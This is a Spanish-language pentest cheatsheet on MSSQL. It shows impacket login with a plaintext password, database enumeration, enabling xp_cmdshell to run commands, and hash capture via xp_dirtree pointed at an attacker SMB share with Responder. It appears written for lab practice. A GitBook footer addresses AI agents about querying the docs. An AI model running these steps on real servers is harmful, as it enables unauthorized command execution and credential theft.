> For the complete documentation index, see [llms.txt](https://g4b0.gitbook.io/g4b0-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://g4b0.gitbook.io/g4b0-docs/documentation/cheatsheets/quickstart/mssql.md).

# MSSQL

### mssqlclient.py

Con la flag -windows-auth para indicar que usaremos una cuenta de usuario windows o AD

```bash
mssqlclient.py 'john.w':'RFulUtONCOL!'@10.129.35.2 -windows-auth
```

Sin la flag windows auth indicando que usaremos una cuenta nativa de mssql

```bash
mssqlclient.py 'john.w':'RFulUtONCOL!'@10.129.35.2
```

#### Enumeracion

Enumeracion de databases

```sql
enum_db
```

Revision de base de datos con informacion mas completa

```sql
SELECT name AS NombreDB, database_id AS ID, create_date AS FechaCreacion, state_desc AS Estado, user_access_desc AS AccesoUsuarios, is_read_only AS SoloLectura, is_encrypted AS EstaCifrada, is_trustworthy_on AS EsConfiable_Trustworthy, SUSER_SNAME(owner_sid) AS Propietario FROM sys.databases;
```

Habilitar una shell interna

```sql
enable_xp_cmdshell
```

Ejecutar un comando con la shell habilitada

```
xp_cmdshell whoami
```

Seleccionar una database

```sql
USE msdb;
```

Ver las tablas del database escogido

```sql
SELECT table_name FROM information_schema.tables;
```

Ver las columnas de la tabla escogida

```sql
SELECT column_name, data_type, character_maximum_length FROM information_schema.columns WHERE table_name = 'nombre_de_la_tabla';
```

Ver logs del database "master"

```sql
SELECT name, is_disabled FROM master.sys.sql_logins;
```

Observar servidores habiltados

```sql
SELECT name, type_desc, is_disabled FROM master.sys.server_principals;
```

Ver permisos del usuario actual conectado

```sql
SELECT entity_name, subentity_name, permission_name FROM fn_my_permissions(NULL, 'SERVER');
```

Robo de credenciales con dirtree y responder

```sql
xp_dirtree '\\10.10.14.90\compartido';
```

```
sudio responder -I tun0 
```

Enumeracion de enlaces

```
enum_links
```

```sql
use_link "link"
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://g4b0.gitbook.io/g4b0-docs/documentation/cheatsheets/quickstart/mssql.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.